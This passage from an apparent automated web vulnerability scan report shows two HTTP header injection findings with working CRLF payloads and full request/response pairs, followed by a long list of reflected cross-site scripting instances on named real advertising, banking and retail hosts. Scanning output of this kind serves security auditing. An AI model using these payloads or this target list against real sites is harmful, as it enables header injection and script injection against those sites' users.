1c4d0fc4311;expires=Mon, 25 Apr 2011 05: 00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=809,1050,3:809,1050,9:809,1050,21;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0:0:0;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "426044b-838c-4a12b036d4100"
Vary: Accept-Encoding
X-Varnish: 920078456
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=228
Expires: Sun, 24 Apr 2011 16:50:21 GMT
Date: Sun, 24 Apr 2011 16:46:33 GMT
Connection: close
Content-Length: 1385

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=376;var zzPat=',b4be9

...[SNIP]...

5.5. http://d7.zedo.com/bar/v16-405/d3/jsc/fmr.js [$ parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://d7.zedo.com
Path:	/bar/v16-405/d3/jsc/fmr.js

Issue detail

The value of the $ request parameter is copied into the Set-Cookie response header. The payload b5437%0d%0a3c4d98db33f was submitted in the $ parameter. This caused a response containing an injected HTTP header.

Request

GET /bar/v16-405/d3/jsc/fmr.js?c=1050&a=0&f=&n=809&r=21&d=21&q=&$=b5437%0d%0a3c4d98db33f&s=376&z=0.7153747249743863 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: d7.zedo.com
Cookie: ZCBC=1

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=809:b5437
3c4d98db33f;expires=Mon, 25 Apr 2011 05: 00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=809,1050,21;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Mon, 25 Apr 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: ZEDOIDA=7lO0TcGt89bIsvwFVlnvVOHt~042411;expires=Wed, 21 Apr 2021 16:46:38 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFgeo=2241452;expires=Mon, 23 Apr 2012 16:46:38 GMT;domain=.zedo.com;path=/;
ETag: "426044d-8181-4a12b03c8ce80"
Vary: Accept-Encoding
X-Varnish: 1634248835 1634247186
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=223
Expires: Sun, 24 Apr 2011 16:50:21 GMT
Date: Sun, 24 Apr 2011 16:46:38 GMT
Connection: close
Content-Length: 2772

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=376;var zzPat=',b5437

...[SNIP]...

5.6. http://matcher.bidder7.mookie1.com/google [cver parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://matcher.bidder7.mookie1.com
Path:	/google

Issue detail

The value of the cver request parameter is copied into the X-ZAMA-MATCHER-ERROR response header. The payload d4df8%0d%0aa06dec800c0 was submitted in the cver parameter. This caused a response containing an injected HTTP header.

Request

GET /google?id=CAESEEkl9lk5w80cMoOGmB9XYWY&cver=d4df8%0d%0aa06dec800c0 HTTP/1.1
Host: matcher.bidder7.mookie1.com
Proxy-Connection: keep-alive
Referer: http://dm.de.mookie1.com/2/B3DM/RTB/11377797616@x24?USNetwork/PizzaHut_2H_201008_ZT_18-49_All
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:24:04 GMT
Server: Apache/2.2.3 (Red Hat)
X-ZAMA-MATCHER-ERROR: google has sent non numeric (or zero) cver 'd4df8
a06dec800c0'
Cache-Control: no-cache,no-store,private
Pragma: no-cache
Content-Length: 43
Connection: close
Content-Type: image/gif

GIF89a.............!.......,...........D..;

6. Cross-site scripting (reflected) previous next
There are 474 instances of this issue:

http://ad.doubleclick.net/adi/N2886.151350.QUANTCAST.COM/B5403001.15 [labels parameter]
http://ad.doubleclick.net/adi/N2886.151350.QUANTCAST.COM/B5403001.15 [redirecturl2 parameter]
http://ad.doubleclick.net/adi/N2886.151350.QUANTCAST.COM/B5403001.15 [rtbdata2 parameter]
http://ad.doubleclick.net/adi/N2886.151350.QUANTCAST.COM/B5403001.15 [rtbip parameter]
http://ad.doubleclick.net/adi/N2886.151350.QUANTCAST.COM/B5403001.15 [sz parameter]
http://ad.doubleclick.net/adi/N3671.Google/B5102071.8 [adurl parameter]
http://ad.doubleclick.net/adi/N3671.Google/B5102071.8 [ai parameter]
http://ad.doubleclick.net/adi/N3671.Google/B5102071.8 [client parameter]
http://ad.doubleclick.net/adi/N3671.Google/B5102071.8 [num parameter]
http://ad.doubleclick.net/adi/N3671.Google/B5102071.8 [sig parameter]
http://ad.doubleclick.net/adi/N3671.Google/B5102071.8 [sz parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [age parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [ccw parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [ciu parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [dm parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [dv parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [ei parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [epid parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [euid parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [fiu parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [gen parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [os parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [refurl parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [reqid parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [rurl parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [s parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [scres parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [slotid parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [sz parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [t parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [wp_exchange parameter]
http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [zc parameter]
http://ads.adxpose.com/ads/ads.js [uid parameter]
http://adsfac.us/ag.asp [cc parameter]
http://altfarm.mediaplex.com/ad/fm/3992-125865-29115-1 [mpt parameter]
http://api.tweetmeme.com/url_info.jsonc [callback parameter]
http://ar.voicefive.com/b/rc.pli [func parameter]
http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x90 [REST URL parameter 2]
http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x90 [REST URL parameter 3]
http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x90 [REST URL parameter 4]
http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x90 [REST URL parameter 5]
http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x90 [REST URL parameter 6]
http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x90 [REST URL parameter 7]
http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90 [REST URL parameter 2]
http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90 [REST URL parameter 3]
http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90 [REST URL parameter 4]
http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90 [REST URL parameter 5]
http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90 [REST URL parameter 6]
http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658455@x90 [REST URL parameter 7]
http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x90 [REST URL parameter 2]
http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x90 [REST URL parameter 3]
http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x90 [REST URL parameter 4]
http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x90 [REST URL parameter 5]
http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x90 [REST URL parameter 6]
http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x90 [REST URL parameter 7]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [ifl parameter]
http://cdn.w55c.net/i/0R99JaasWk_1847829791.html [btid parameter]
http://cdn.w55c.net/i/0R99JaasWk_1847829791.html [btid parameter]
http://cdn.w55c.net/i/0R9ulNflD0_1008589149.html [btid parameter]
http://cdn.w55c.net/i/0R9ulNflD0_1008589149.html [btid parameter]
http://cdn.w55c.net/i/0R9ulNflD0_1008589149.html [btid parameter]
http://cdn.w55c.net/i/0RDMd2Pp56_1855871382.html [btid parameter]
http://cdn.w55c.net/i/0RES95J3Zo_918427505.html [btid parameter]
http://cdn.w55c.net/i/0RES95J3Zo_918427505.html [btid parameter]
http://cdn.w55c.net/i/0REyoPRMSz_696710848.html [btid parameter]
http://cdn.w55c.net/i/0REyoPRMSz_696710848.html [btid parameter]
http://cdn.w55c.net/i/0RFFcWpaTN_954073853.html [btid parameter]
http://cdn.w55c.net/i/0RFFcWpaTN_954073853.html [btid parameter]
http://cdn.w55c.net/i/0ROvzxEJNe_571009919.html [btid parameter]
http://cdn.w55c.net/i/0ROvzxEJNe_571009919.html [btid parameter]
http://cdn.w55c.net/i/0RW21p2fqU_270915107.html [btid parameter]
http://cdn.w55c.net/i/0RW21p2fqU_270915107.html [btid parameter]
http://cdn.w55c.net/i/0RZieDDeGI_308736425.html [btid parameter]
http://cdn.w55c.net/i/0RZieDDeGI_308736425.html [btid parameter]
http://cdn.w55c.net/i/0RaZHwYk2m_562981296.html [btid parameter]
http://cdn.w55c.net/i/0RaZHwYk2m_562981296.html [btid parameter]
http://cdn.w55c.net/i/0RilLTaqf1_958911823.html [btid parameter]
http://cdn.w55c.net/i/0RilLTaqf1_958911823.html [btid parameter]
http://cdn.w55c.net/i/0RkPQrQRFy_1341446950.html [btid parameter]
http://cdn.w55c.net/i/0RkPQrQRFy_1341446950.html [btid parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [btid parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [btid parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [ccw parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [ccw parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [ciu parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [ciu parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [ei parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [ei parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [euid parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [euid parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [fiu parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [fiu parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [reqid parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [reqid parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [s parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [s parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [slotid parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [slotid parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [wp_exchange parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [wp_exchange parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [zc parameter]
http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [zc parameter]
http://cdn.w55c.net/i/0RuFuATqDZ_452086828.html [btid parameter]
http://cdn.w55c.net/i/0RuFuATqDZ_452086828.html [btid parameter]
http://consumerinfo.tt.omtrdc.net/m2/consumerinfo/mbox/standard [mbox parameter]
http://controlcase.com/contact.php [name of an arbitrarily supplied request parameter]
http://controlcase.com/contact.php [subject parameter]
http://d7.zedo.com/bar/v16-405/d2/jsc/fm.js [$ parameter]
http://d7.zedo.com/bar/v16-405/d2/jsc/fm.js [$ parameter]
http://d7.zedo.com/bar/v16-405/d2/jsc/fm.js [$ parameter]
http://d7.zedo.com/bar/v16-405/d2/jsc/fm.js [$ parameter]
http://d7.zedo.com/bar/v16-405/d2/jsc/fm.js [q parameter]
http://d7.zedo.com/bar/v16-405/d2/jsc/fm.js [q parameter]
http://d7.zedo.com/bar/v16-405/d2/jsc/fm.js [q parameter]
http://d7.zedo.com/bar/v16-405/d2/jsc/fm.js [q parameter]
http://d7.zedo.com/bar/v16-405/d2/jsc/fmr.js [$ parameter]
http://d7.zedo.com/bar/v16-405/d2/jsc/fmr.js [$ parameter]
http://d7.zedo.com/bar/v16-405/d2/jsc/fmr.js [q parameter]
http://d7.zedo.com/bar/v16-405/d2/jsc/fmr.js [q parameter]
http://d7.zedo.com/bar/v16-405/d3/jsc/fm.js [$ parameter]
http://d7.zedo.com/bar/v16-405/d3/jsc/fm.js [$ parameter]
http://d7.zedo.com/bar/v16-405/d3/jsc/fm.js [$ parameter]
http://d7.zedo.com/bar/v16-405/d3/jsc/fm.js [$ parameter]
http://d7.zedo.com/bar/v16-405/d3/jsc/fm.js [q parameter]
http://d7.zedo.com/bar/v16-405/d3/jsc/fm.js [q parameter]
http://d7.zedo.com/bar/v16-405/d3/jsc/fm.js [q parameter]
http://d7.zedo.com/bar/v16-405/d3/jsc/fm.js [q parameter]
http://d7.zedo.com/bar/v16-405/d3/jsc/fmr.js [$ parameter]
http://d7.zedo.com/bar/v16-405/d3/jsc/fmr.js [$ parameter]
http://d7.zedo.com/bar/v16-405/d3/jsc/fmr.js [q parameter]
http://d7.zedo.com/bar/v16-405/d3/jsc/fmr.js [q parameter]
http://dm.de.mookie1.com/2/B3DM/RTB/11325065670@x24 [REST URL parameter 2]
http://dm.de.mookie1.com/2/B3DM/RTB/11325065670@x24 [REST URL parameter 3]
http://dm.de.mookie1.com/2/B3DM/RTB/11325065670@x24 [REST URL parameter 4]
http://dm.de.mookie1.com/2/B3DM/RTB/11377797616@x24 [REST URL parameter 2]
http://dm.de.mookie1.com/2/B3DM/RTB/11377797616@x24 [REST URL parameter 3]
http://dm.de.mookie1.com/2/B3DM/RTB/11377797616@x24 [REST URL parameter 4]
http://dm.de.mookie1.com/2/B3DM/RTB/12132898267@x24 [REST URL parameter 2]
http://dm.de.mookie1.com/2/B3DM/RTB/12132898267@x24 [REST URL parameter 3]
http://dm.de.mookie1.com/2/B3DM/RTB/12132898267@x24 [REST URL parameter 4]
http://ds.addthis.com/red/psi/sites/krypt.com/p.json [callback parameter]
http://ds.addthis.com/red/psi/sites/www.krypt.com/p.json [callback parameter]
http://event.adxpose.com/event.flow [uid parameter]
http://hellometro.us.intellitxt.com/intellitxt/front.asp [name of an arbitrarily supplied request parameter]
http://i1.services.social.microsoft.com/search/Widgets/SearchBox.jss [name of an arbitrarily supplied request parameter]
http://i2.services.social.microsoft.com/search/Widgets/SearchBox.jss [name of an arbitrarily supplied request parameter]
http://i4.services.social.microsoft.com/search/Widgets/SearchBox.jss [name of an arbitrarily supplied request parameter]
http://ib.adnxs.com/ab [cnd parameter]
http://ib.adnxs.com/if [cnd parameter]
http://image.providesupport.com/js/spiffyman/safe-standard.js [REST URL parameter 1]
http://image.providesupport.com/js/spiffyman/safe-standard.js [REST URL parameter 2]
http://img.mediaplex.com/content/0/14302/119028/revised_60days_baker_728x90.html [mpck parameter]
http://img.mediaplex.com/content/0/14302/119028/revised_60days_baker_728x90.html [mpck parameter]
http://img.mediaplex.com/content/0/14302/119028/revised_60days_baker_728x90.html [mpvc parameter]
http://img.mediaplex.com/content/0/14302/119028/revised_60days_baker_728x90.html [mpvc parameter]
http://img.mediaplex.com/content/0/14302/119028/revised_60days_baker_728x90.html [placementid parameter]
http://img.mediaplex.com/content/0/3992/crucial_knows_notebook_160x600.html [mpck parameter]
http://img.mediaplex.com/content/0/3992/crucial_knows_notebook_160x600.html [mpck parameter]
http://img.mediaplex.com/content/0/3992/crucial_knows_notebook_160x600.html [mpjs parameter]
http://img.mediaplex.com/content/0/3992/crucial_knows_notebook_160x600.html [mpvc parameter]
http://img.mediaplex.com/content/0/3992/crucial_knows_notebook_160x600.html [mpvc parameter]
http://img.mediaplex.com/content/0/3992/crucial_knows_notebook_728x90.html [mpck parameter]
http://img.mediaplex.com/content/0/3992/crucial_knows_notebook_728x90.html [mpck parameter]
http://img.mediaplex.com/content/0/3992/crucial_knows_notebook_728x90.html [mpjs parameter]
http://img.mediaplex.com/content/0/3992/crucial_knows_notebook_728x90.html [mpvc parameter]
http://img.mediaplex.com/content/0/3992/crucial_knows_notebook_728x90.html [mpvc parameter]
http://kroogy.com/N [REST URL parameter 1]
http://kroogy.com/a [REST URL parameter 1]
http://kroogy.com/favicon.ico [REST URL parameter 1]
http://kroogy.com/index.php [page parameter]
http://kroogy.com/index/N [REST URL parameter 1]
http://kroogy.com/index/N [REST URL parameter 2]
http://kroogy.com/index/index.php [page parameter]
http://kroogy.com/index/livesearch&q=s&type=web [REST URL parameter 1]
http://kroogy.com/index/livesearch&q=s&type=web [REST URL parameter 2]
http://kroogy.com/index/livesearch&q=si&type=web [REST URL parameter 1]
http://kroogy.com/index/livesearch&q=si&type=web [REST URL parameter 2]
http://kroogy.com/index/livesearch&q=sit&type=web [REST URL parameter 1]
http://kroogy.com/index/livesearch&q=sit&type=web [REST URL parameter 2]
http://kroogy.com/index/livesearch&q=site&type=web [REST URL parameter 1]
http://kroogy.com/index/livesearch&q=site&type=web [REST URL parameter 2]
http://kroogy.com/index/livesearch&q=site:&type=web [REST URL parameter 1]
http://kroogy.com/index/livesearch&q=site:&type=web [REST URL parameter 2]
http://kroogy.com/pub/banner_728_90_random.php [REST URL parameter 1]
http://kroogy.com/search/emailafriend [REST URL parameter 1]
http://kroogy.com/search/emailafriend [REST URL parameter 2]
http://kroogy.com/search/images/blank.gif [REST URL parameter 2]
http://kroogy.com/search/index.php [page parameter]
http://kroogy.com/search/news [REST URL parameter 1]
http://kroogy.com/search/news [REST URL parameter 2]
http://kroogy.com/search/noresults [REST URL parameter 1]
http://kroogy.com/search/noresults [REST URL parameter 2]
http://kroogy.com/search/random.php [REST URL parameter 1]
http://kroogy.com/search/random.php [REST URL parameter 2]
http://kroogy.com/search/redir [REST URL parameter 1]
http://kroogy.com/search/redir [REST URL parameter 2]
http://kroogy.com/search/special [REST URL parameter 1]
http://kroogy.com/search/special [REST URL parameter 2]
http://kroogy.com/search/videos [REST URL parameter 1]
http://kroogy.com/search/videos [REST URL parameter 2]
http://kroogy.com/search/web [REST URL parameter 1]
http://kroogy.com/search/web [REST URL parameter 2]
http://kroogy.com/search/web/N [REST URL parameter 1]
http://kroogy.com/search/web/N [REST URL parameter 2]
http://kroogy.com/search/web/index.php [page parameter]
https://online.americanexpress.com/myca/logon/us/action [DestPage parameter]
http://partners.nextadnetwork.com/z/371/CD1/id4+106163471 [REST URL parameter 4]
http://partners.nextadnetwork.com/z/371/CD1/id4+106163471 [REST URL parameter 4]
http://pixel.fetchback.com/serve/fb/pdc [name parameter]
https://psr.infusionsoft.com/InAppHelp/popUpCenter.jsp [pageName parameter]
https://psr.infusionsoft.com/InAppHelp/popUpCenter.jsp [pageName parameter]
https://psr.infusionsoft.com/template/divFiller.jsp [divName parameter]
https://psr.infusionsoft.com/template/divFiller.jsp [divName parameter]
http://pub.retailer-amazon.net/banner_120_600_a.php [name of an arbitrarily supplied request parameter]
http://pub.retailer-amazon.net/banner_120_600_a.php [name of an arbitrarily supplied request parameter]
http://pub.retailer-amazon.net/banner_120_600_a.php [search parameter]
http://pub.retailer-amazon.net/banner_120_600_a.php [search parameter]
http://pub.retailer-amazon.net/banner_728_90_a.php [name of an arbitrarily supplied request parameter]
http://pub.retailer-amazon.net/banner_728_90_a.php [name of an arbitrarily supplied request parameter]
http://pub.retailer-amazon.net/banner_728_90_a.php [search parameter]
http://pub.retailer-amazon.net/banner_728_90_a.php [search parameter]
http://pub.retailer-amazon.net/banner_728_90_b.php [name of an arbitrarily supplied request parameter]
http://pub.retailer-amazon.net/banner_728_90_b.php [search parameter]
http://pubads.g.doubleclick.net/gampad/ads [slotname parameter]
http://r.turn.com/server/beacon_call.js [b2 parameter]
http://s18.sitemeter.com/js/counter.asp [site parameter]
http://s18.sitemeter.com/js/counter.js [site parameter]
http://s41.sitemeter.com/js/counter.asp [site parameter]
http://s41.sitemeter.com/js/counter.js [site parameter]
http://sales.liveperson.net/visitor/addons/deploy.asp [site parameter]
http://seal.controlcase.com/index.php [cId parameter]
http://seal.controlcase.com/index.php [clientid parameter]
http://seal.controlcase.com/index.php [clientid parameter]
http://seal.controlcase.com/index.php [name of an arbitrarily supplied request parameter]
http://seal.controlcase.com/index.php [name of an arbitrarily supplied request parameter]
http://seal.controlcase.com/index.php [name of an arbitrarily supplied request parameter]
http://services.digg.com/1.0/endpoint [callback parameter]
http://services.digg.com/1.0/endpoint [method parameter]
http://services.digg.com/1.0/endpoint [name of an arbitrarily supplied request parameter]
http://services.digg.com/favicon.ico [name of an arbitrarily supplied request parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/Category/Category.aspx [drilldown parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/Category/Category.aspx [lang parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/Category/Category.aspx [name of an arbitrarily supplied request parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/Category/Category.aspx [nsextt parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/Category/Category.aspx [subcat parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/Category/Category.aspx [subcat parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/ProductConfig/ProductConfig.aspx [cat parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/ProductConfig/ProductConfig.aspx [cat parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/ProductConfig/ProductConfig.aspx [drilldown parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/ProductConfig/ProductConfig.aspx [id parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/ProductConfig/ProductConfig.aspx [name of an arbitrarily supplied request parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/ProductConfig/ProductConfig.aspx [nsextt parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/ProductConfig/ProductConfig.aspx [subcat parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/ProductConfig/ProductConfig.aspx [subcat parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/ProductDetail/ProductDetail.aspx [id parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/ProductDetail/ProductDetail.aspx [id parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/Products/Products.aspx [drilldown parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/Products/Products.aspx [lang parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/Products/Products.aspx [name of an arbitrarily supplied request parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/Products/Products.aspx [nsextt parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/Products/Products.aspx [subcat parameter]
http://swisscomonlineshop.sso.bluewin.ch/onlineshop/Pages/Products/Products.aspx [subcat parameter]
http://widgets.digg.com/buttons/count [url parameter]
http://www.actividentity.com/inc/securimage/securimage_play.swf [REST URL parameter 1]
http://www.actividentity.com/inc/securimage/securimage_play.swf [REST URL parameter 2]
http://www.actividentity.com/inc/securimage/securimage_play.swf [REST URL parameter 3]
http://www.actividentity.com/inc/securimage/securimage_show.phpx [REST URL parameter 1]
http://www.actividentity.com/inc/securimage/securimage_show.phpx [REST URL parameter 2]
http://www.actividentity.com/inc/securimage/securimage_show.phpx [REST URL parameter 3]
http://www.dictof.com/favicon.ico [REST URL parameter 1]
http://www.dictof.com/registration/ [email parameter]
http://www.dictof.com/registration/ [newPassword parameter]
http://www.dictof.com/registration/ [postalCode parameter]
http://www.dictof.com/registration/ [refererNickname parameter]
http://www.dictof.com/registration/ [screenname parameter]
http://www.fightidentitytheft.com/credit-monitoring.html [REST URL parameter 1]
http://www.fightidentitytheft.com/credit-monitoring.html [name of an arbitrarily supplied request parameter]
http://www.fightidentitytheft.com/files/fightid_favicon.ico [REST URL parameter 1]
http://www.fightidentitytheft.com/files/fightid_favicon.ico [REST URL parameter 2]
http://www.fightidentitytheft.com/misc/drupal.js [REST URL parameter 1]
http://www.fightidentitytheft.com/misc/drupal.js [REST URL parameter 2]
http://www.fightidentitytheft.com/misc/jquery.js [REST URL parameter 1]
http://www.fightidentitytheft.com/misc/jquery.js [REST URL parameter 2]
http://www.fightidentitytheft.com/sites/all/modules/google_analytics/googleanalytics.js [REST URL parameter 1]
http://www.fightidentitytheft.com/sites/all/modules/google_analytics/googleanalytics.js [REST URL parameter 2]
http://www.fightidentitytheft.com/sites/all/modules/google_analytics/googleanalytics.js [REST URL parameter 3]
http://www.fightidentitytheft.com/sites/all/modules/google_analytics/googleanalytics.js [REST URL parameter 4]
http://www.fightidentitytheft.com/sites/all/modules/google_analytics/googleanalytics.js [REST URL parameter 5]
http://www.fightidentitytheft.com/sites/all/modules/mollom/mollom.js [REST URL parameter 1]
http://www.fightidentitytheft.com/sites/all/modules/mollom/mollom.js [REST URL parameter 2]
http://www.fightidentitytheft.com/sites/all/modules/mollom/mollom.js [REST URL parameter 3]
http://www.fightidentitytheft.com/sites/all/modules/mollom/mollom.js [REST URL parameter 4]
http://www.fightidentitytheft.com/sites/all/modules/mollom/mollom.js [REST URL parameter 5]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/nice_menus.js [REST URL parameter 1]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/nice_menus.js [REST URL parameter 2]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/nice_menus.js [REST URL parameter 3]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/nice_menus.js [REST URL parameter 4]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/nice_menus.js [REST URL parameter 5]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/jquery.bgiframe.min.js [REST URL parameter 1]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/jquery.bgiframe.min.js [REST URL parameter 2]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/jquery.bgiframe.min.js [REST URL parameter 3]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/jquery.bgiframe.min.js [REST URL parameter 4]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/jquery.bgiframe.min.js [REST URL parameter 5]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/jquery.bgiframe.min.js [REST URL parameter 6]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/jquery.bgiframe.min.js [REST URL parameter 7]
http://www.fightidentitytheft.com/sites/all/modules/nice_menus/superfish/js/jquery.hoverIntent.minified.js [REST URL parameter 1]
